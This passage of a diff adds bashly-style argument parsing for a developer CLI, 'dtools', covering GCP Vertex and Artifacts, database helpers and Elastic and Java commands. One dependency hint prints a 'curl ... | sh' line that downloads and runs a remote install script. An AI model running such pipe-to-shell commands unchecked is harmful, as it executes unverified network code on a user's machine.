"%s\n" "--location must be one of: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_gcp_vertex_list_endpoints_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_gcp_vertex_list_endpoints_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="gcp vertex list-endpoints" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --project | -p) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--project']="$2" + shift + shift + else + printf "%s\n" "--project requires an argument: --project, -p PROJECT" >&2 + exit 1 + fi + ;; + + # :flag.case + --location | -l) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--location']="$2" + shift + shift + else + printf "%s\n" "--location requires an argument: --location, -l LOCATION" >&2 + exit 1 + fi + ;; + + # :flag.case + --detailed) + + # :flag.case_no_arg + args['--detailed']=1 + shift + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.default_assignments + [[ -n ${args['--location']:-} ]] || args['--location']="us-central1" + + # :command.whitelist_filter + if [[ ${args['--location']:-} ]] && [[ ! ${args['--location']:-} =~ ^(africa-south1|asia-east1|asia-east2|asia-northeast1|asia-northeast2|asia-northeast3|asia-south1|asia-south2|asia-southeast1|asia-southeast2|australia-southeast1|australia-southeast2|europe-central2|europe-north1|europe-north2|europe-southwest1|europe-west1|europe-west10|europe-west12|europe-west2|europe-west3|europe-west4|europe-west6|europe-west8|europe-west9|me-central1|me-central2|me-west1|northamerica-northeast1|northamerica-northeast2|northamerica-south1|southamerica-east1|southamerica-west1|us-central1|us-east1|us-east4|us-east5|us-south1|us-west1|us-west2|us-west3|us-west4)$ ]]; then + printf "%s\n" "--location must be one of: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" >&2 + exit 1 + fi + + # :command.user_filter + filter_error=$(filter_project_and_location_variables_set_with_flags) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_gcp_vertex_tail_endpoint_logs_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_gcp_vertex_tail_endpoint_logs_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="gcp vertex tail-endpoint-logs" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --project | -p) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--project']="$2" + shift + shift + else + printf "%s\n" "--project requires an argument: --project, -p PROJECT" >&2 + exit 1 + fi + ;; + + # :flag.case + --location | -l) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--location']="$2" + shift + shift + else + printf "%s\n" "--location requires an argument: --location, -l LOCATION" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['endpoint_name']+x} ]]; then + args['endpoint_name']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['endpoint_name']+x} ]]; then + printf "missing required argument: ENDPOINT_NAME\nusage: dtools gcp vertex tail-endpoint-logs ENDPOINT_NAME [OPTIONS]\n" >&2 + + exit 1 + fi + + # :command.default_assignments + [[ -n ${args['--location']:-} ]] || args['--location']="us-central1" + + # :command.whitelist_filter + if [[ ${args['--location']:-} ]] && [[ ! ${args['--location']:-} =~ ^(africa-south1|asia-east1|asia-east2|asia-northeast1|asia-northeast2|asia-northeast3|asia-south1|asia-south2|asia-southeast1|asia-southeast2|australia-southeast1|australia-southeast2|europe-central2|europe-north1|europe-north2|europe-southwest1|europe-west1|europe-west10|europe-west12|europe-west2|europe-west3|europe-west4|europe-west6|europe-west8|europe-west9|me-central1|me-central2|me-west1|northamerica-northeast1|northamerica-northeast2|northamerica-south1|southamerica-east1|southamerica-west1|us-central1|us-east1|us-east4|us-east5|us-south1|us-west1|us-west2|us-west3|us-west4)$ ]]; then + printf "%s\n" "--location must be one of: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" >&2 + exit 1 + fi + + # :command.user_filter + filter_error=$(filter_project_and_location_variables_set_with_flags) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_gcp_artifacts_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_gcp_artifacts_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v gcloud >/dev/null 2>&1; then + printf "missing dependency: gcloud\n" >&2 + printf "%s\n\n" "Install the latest version following the instructions at 'https://docs.cloud.google.com/sdk/docs/install'" >&2 + missing_deps=1 + else + deps['gcloud']="$(command -v gcloud | head -n1)" + fi + + # :dependency.filter + if ! command -v jq >/dev/null 2>&1; then + printf "missing dependency: jq\n" >&2 + printf "%s\n\n" "Install using 'brew install jq'" >&2 + missing_deps=1 + else + deps['jq']="$(command -v jq | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + list-repositories) + action="list-repositories" + shift + dtools_gcp_artifacts_list_repositories_parse_requirements "$@" + shift $# + ;; + + list-images) + action="list-images" + shift + dtools_gcp_artifacts_list_images_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_gcp_artifacts_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 + ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_gcp_artifacts_list_repositories_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_gcp_artifacts_list_repositories_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="gcp artifacts list-repositories" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --project | -p) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--project']="$2" + shift + shift + else + printf "%s\n" "--project requires an argument: --project, -p PROJECT" >&2 + exit 1 + fi + ;; + + # :flag.case + --location | -l) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--location']="$2" + shift + shift + else + printf "%s\n" "--location requires an argument: --location, -l LOCATION" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.default_assignments + [[ -n ${args['--location']:-} ]] || args['--location']="us-central1" + + # :command.whitelist_filter + if [[ ${args['--location']:-} ]] && [[ ! ${args['--location']:-} =~ ^(africa-south1|asia-east1|asia-east2|asia-northeast1|asia-northeast2|asia-northeast3|asia-south1|asia-south2|asia-southeast1|asia-southeast2|australia-southeast1|australia-southeast2|europe-central2|europe-north1|europe-north2|europe-southwest1|europe-west1|europe-west10|europe-west12|europe-west2|europe-west3|europe-west4|europe-west6|europe-west8|europe-west9|me-central1|me-central2|me-west1|northamerica-northeast1|northamerica-northeast2|northamerica-south1|southamerica-east1|southamerica-west1|us-central1|us-east1|us-east4|us-east5|us-south1|us-west1|us-west2|us-west3|us-west4)$ ]]; then + printf "%s\n" "--location must be one of: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" >&2 + exit 1 + fi + + # :command.user_filter + filter_error=$(filter_project_and_location_variables_set_with_flags) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_gcp_artifacts_list_images_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_gcp_artifacts_list_images_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="gcp artifacts list-images" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --project | -p) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--project']="$2" + shift + shift + else + printf "%s\n" "--project requires an argument: --project, -p PROJECT" >&2 + exit 1 + fi + ;; + + # :flag.case + --location | -l) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--location']="$2" + shift + shift + else + printf "%s\n" "--location requires an argument: --location, -l LOCATION" >&2 + exit 1 + fi + ;; + + # :flag.case + --detailed) + + # :flag.case_no_arg + args['--detailed']=1 + shift + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['repository_name']+x} ]]; then + args['repository_name']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['repository_name']+x} ]]; then + printf "missing required argument: REPOSITORY_NAME\nusage: dtools gcp artifacts list-images REPOSITORY_NAME [OPTIONS]\n" >&2 + + exit 1 + fi + + # :command.default_assignments + [[ -n ${args['--location']:-} ]] || args['--location']="us-central1" + + # :command.whitelist_filter + if [[ ${args['--location']:-} ]] && [[ ! ${args['--location']:-} =~ ^(africa-south1|asia-east1|asia-east2|asia-northeast1|asia-northeast2|asia-northeast3|asia-south1|asia-south2|asia-southeast1|asia-southeast2|australia-southeast1|australia-southeast2|europe-central2|europe-north1|europe-north2|europe-southwest1|europe-west1|europe-west10|europe-west12|europe-west2|europe-west3|europe-west4|europe-west6|europe-west8|europe-west9|me-central1|me-central2|me-west1|northamerica-northeast1|northamerica-northeast2|northamerica-south1|southamerica-east1|southamerica-west1|us-central1|us-east1|us-east4|us-east5|us-south1|us-west1|us-west2|us-west3|us-west4)$ ]]; then + printf "%s\n" "--location must be one of: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" >&2 + exit 1 + fi + + # :command.user_filter + filter_error=$(filter_project_and_location_variables_set_with_flags) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_db_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_db_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v harlequin >/dev/null 2>&1; then + printf "missing dependency: harlequin\n" >&2 + printf "%s\n\n" "Install with 'curl -LsSf https://astral.sh/uv/install.sh | sh'" >&2 + missing_deps=1 + else + deps['harlequin']="$(command -v harlequin | head -n1)" + fi + + # :dependency.filter + if ! command -v docker >/dev/null 2>&1; then + printf "missing dependency: docker\n" >&2 + printf "%s\n\n" "Install with 'dtools install docker'" >&2 + missing_deps=1 + else + deps['docker']="$(command -v docker | head -n1)" + fi + + # :dependency.filter + if ! command -v db2dbml >/dev/null 2>&1; then + printf "missing dependency: db2dbml\n" >&2 + printf "%s\n\n" "Install with 'npm install -g @dbml/cli'" >&2 + missing_deps=1 + else + deps['db2dbml']="$(command -v db2dbml | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + postgres) + action="postgres" + shift + dtools_db_postgres_parse_requirements "$@" + shift $# + ;; + + mysql) + action="mysql" + shift + dtools_db_mysql_parse_requirements "$@" + shift $# + ;; + + bigquery) + action="bigquery" + shift + dtools_db_bigquery_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_db_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 + ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_db_postgres_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_db_postgres_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="db postgres" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --dump) + # :flag.conflicts + for conflict in --tui --persistent --wipe-persistent-data --dump-to-dbml --schema; do + if [[ -n "${args[$conflict]:-}" ]]; then + printf "conflicting options: %s cannot be used with %s\n" "$key" "$conflict" >&2 + exit 1 + fi + done + + # :flag.case_no_arg + args['--dump']=1 + shift + ;; + + # :flag.case + --persistent-dir-prefix) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--persistent-dir-prefix']="$2" + shift + shift + else + printf "%s\n" "--persistent-dir-prefix requires an argument: --persistent-dir-prefix PERSISTENT_DIR_PREFIX" >&2 + exit 1 + fi + ;; + + # :flag.case + --dump-to-dbml) + # :flag.conflicts + for conflict in --tui --persistent --wipe-persistent-data --dump; do + if [[ -n "${args[$conflict]:-}" ]]; then + printf "conflicting options: %s cannot be used with %s\n" "$key" "$conflict" >&2 + exit 1 + fi + done + + # :flag.case_no_arg + args['--dump-to-dbml']=1 + shift + ;; + + # :flag.case + --schema | -s) + # :flag.conflicts + if [[ -n "${args['--dump']:-}" ]]; then + printf "conflicting options: %s cannot be used with %s\n" "$key" "--dump" >&2 + exit 1 + fi + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + escaped="$(printf '%q' "$2")" + if [[ -z ${args['--schema']+x} ]]; then + args['--schema']="$escaped" + elif [[ -z "${unique_lookup["--schema:${escaped}"]:-}" ]]; then + args['--schema']="${args['--schema']} $escaped" + fi + unique_lookup["--schema:${escaped}"]=1 + shift + shift + else + printf "%s\n" "--schema requires an argument: --schema, -s SCHEMA" >&2 + exit 1 + fi + ;; + + # :flag.case + --tui) + # :flag.conflicts + if [[ -n "${args['--dump']:-}" ]]; then + printf "conflicting options: %s cannot be used with %s\n" "$key" "--dump" >&2 + exit 1 + fi + + # :flag.case_no_arg + args['--tui']=1 + shift + ;; + + # :flag.case + --persistent) + # :flag.conflicts + if [[ -n "${args['--dump']:-}" ]]; then + printf "conflicting options: %s cannot be used with %s\n" "$key" "--dump" >&2 + exit 1 + fi + + # :flag.case_no_arg + args['--persistent']=1 + shift + ;; + + # :flag.case + --wipe-persistent-data) + # :flag.conflicts + if [[ -n "${args['--dump']:-}" ]]; then + printf "conflicting options: %s cannot be used with %s\n" "$key" "--dump" >&2 + exit 1 + fi + + # :flag.case_no_arg + args['--wipe-persistent-data']=1 + shift + ;; + + # :flag.case + --database) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--database']="$2" + shift + shift + else + printf "%s\n" "--database requires an argument: --database DATABASE" >&2 + exit 1 + fi + ;; + + # :flag.case + --port) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--port']="$2" + shift + shift + else + printf "%s\n" "--port requires an argument: --port PORT" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.needy_flags_filter + # :flag.needs + if [[ -n ${args['--schema']+x} ]]; then + for need in --dump-to-dbml --database; do + if [[ -z "${args[$need]:-}" ]]; then + printf "%s\n" "--schema needs $need" >&2 + exit 1 + fi + done + fi + + # :flag.needs + if [[ -n ${args['--wipe-persistent-data']+x} ]] && [[ -z "${args[--persistent]:-}" ]]; then + printf "%s\n" "--wipe-persistent-data needs --persistent" >&2 + exit 1 + fi + + # :command.default_assignments + [[ -n ${args['--persistent-dir-prefix']:-} ]] || args['--persistent-dir-prefix']="default" + [[ -n ${args['--port']:-} ]] || args['--port']="5432" + + # :command.user_filter + filter_error=$(filter_postgres_not_running) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_db_mysql_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_db_mysql_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="db mysql" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --persistent-dir-prefix) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--persistent-dir-prefix']="$2" + shift + shift + else + printf "%s\n" "--persistent-dir-prefix requires an argument: --persistent-dir-prefix PERSISTENT_DIR_PREFIX" >&2 + exit 1 + fi + ;; + + # :flag.case + --dump) + # :flag.conflicts + for conflict in --tui --persistent --wipe-persistent-data --dump-to-dbml; do + if [[ -n "${args[$conflict]:-}" ]]; then + printf "conflicting options: %s cannot be used with %s\n" "$key" "$conflict" >&2 + exit 1 + fi + done + + # :flag.case_no_arg + args['--dump']=1 + shift + ;; + + # :flag.case + --dump-to-dbml) + # :flag.conflicts + for conflict in --tui --persistent --wipe-persistent-data --dump; do + if [[ -n "${args[$conflict]:-}" ]]; then + printf "conflicting options: %s cannot be used with %s\n" "$key" "$conflict" >&2 + exit 1 + fi + done + + # :flag.case_no_arg + args['--dump-to-dbml']=1 + shift + ;; + + # :flag.case + --tui) + # :flag.conflicts + if [[ -n "${args['--dump']:-}" ]]; then + printf "conflicting options: %s cannot be used with %s\n" "$key" "--dump" >&2 + exit 1 + fi + + # :flag.case_no_arg + args['--tui']=1 + shift + ;; + + # :flag.case + --persistent) + # :flag.conflicts + if [[ -n "${args['--dump']:-}" ]]; then + printf "conflicting options: %s cannot be used with %s\n" "$key" "--dump" >&2 + exit 1 + fi + + # :flag.case_no_arg + args['--persistent']=1 + shift + ;; + + # :flag.case + --wipe-persistent-data) + # :flag.conflicts + if [[ -n "${args['--dump']:-}" ]]; then + printf "conflicting options: %s cannot be used with %s\n" "$key" "--dump" >&2 + exit 1 + fi + + # :flag.case_no_arg + args['--wipe-persistent-data']=1 + shift + ;; + + # :flag.case + --database) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--database']="$2" + shift + shift + else + printf "%s\n" "--database requires an argument: --database DATABASE" >&2 + exit 1 + fi + ;; + + # :flag.case + --port) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--port']="$2" + shift + shift + else + printf "%s\n" "--port requires an argument: --port PORT" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.needy_flags_filter + # :flag.needs + if [[ -n ${args['--wipe-persistent-data']+x} ]] && [[ -z "${args[--persistent]:-}" ]]; then + printf "%s\n" "--wipe-persistent-data needs --persistent" >&2 + exit 1 + fi + + # :command.default_assignments + [[ -n ${args['--persistent-dir-prefix']:-} ]] || args['--persistent-dir-prefix']="default" + [[ -n ${args['--port']:-} ]] || args['--port']="3306" + + # :command.user_filter + filter_error=$(filter_mysql_not_running) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_db_bigquery_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_db_bigquery_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="db bigquery" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --project | -p) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--project']="$2" + shift + shift + else + printf "%s\n" "--project requires an argument: --project, -p PROJECT" >&2 + exit 1 + fi + ;; + + # :flag.case + --location | -l) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--location']="$2" + shift + shift + else + printf "%s\n" "--location requires an argument: --location, -l LOCATION" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.required_flags_filter + if [[ -z ${args['--project']+x} ]]; then + printf "missing required flag: --project, -p PROJECT\n" >&2 + exit 1 + fi + + # :command.whitelist_filter + if [[ ${args['--location']:-} ]] && [[ ! ${args['--location']:-} =~ ^(africa-south1|asia-east1|asia-east2|asia-northeast1|asia-northeast2|asia-northeast3|asia-south1|asia-south2|asia-southeast1|asia-southeast2|australia-southeast1|australia-southeast2|europe-central2|europe-north1|europe-north2|europe-southwest1|europe-west1|europe-west10|europe-west12|europe-west2|europe-west3|europe-west4|europe-west6|europe-west8|europe-west9|me-central1|me-central2|me-west1|northamerica-northeast1|northamerica-northeast2|northamerica-south1|southamerica-east1|southamerica-west1|us-central1|us-east1|us-east4|us-east5|us-south1|us-west1|us-west2|us-west3|us-west4)$ ]]; then + printf "%s\n" "--location must be one of: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_elastic_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_elastic_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v docker >/dev/null 2>&1; then + printf "missing dependency: docker\n" >&2 + printf "%s\n\n" "Install with 'dtools install docker'" >&2 + missing_deps=1 + else + deps['docker']="$(command -v docker | head -n1)" + fi + + # :dependency.filter + if ! command -v docker-compose >/dev/null 2>&1; then + printf "missing dependency: docker-compose\n" >&2 + printf "%s\n\n" "Install with 'dtools install docker'" >&2 + missing_deps=1 + else + deps['docker-compose']="$(command -v docker-compose | head -n1)" + fi + + # :dependency.filter + if ! command -v git >/dev/null 2>&1; then + printf "missing dependency: git\n" >&2 + printf "%s\n\n" "Install with 'brew install git'" >&2 + missing_deps=1 + else + deps['git']="$(command -v git | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + init) + action="init" + shift + dtools_elastic_init_parse_requirements "$@" + shift $# + ;; + + start) + action="start" + shift + dtools_elastic_start_parse_requirements "$@" + shift $# + ;; + + stop) + action="stop" + shift + dtools_elastic_stop_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_elastic_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 + ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_elastic_init_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_elastic_init_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="elastic init" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_elastic_start_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_elastic_start_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="elastic start" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_elastic_stop_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_elastic_stop_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="elastic stop" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_java_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_java_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v java >/dev/null 2>&1; then + printf "missing dependency: java\n" >&2 + printf "%s\n\n" "Install with 'dtools install java'" >&2 + missing_deps=1 + else + deps['java']="$(command -v java | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + set-version) + action="set-version" + shift + dtools_java_set_version_parse_requirements "$@" + shift $# + ;; + + analyze-with-sonar) + action="analyze-with-sonar" + shift + dtools_java_analyze_with_sonar_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_java_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 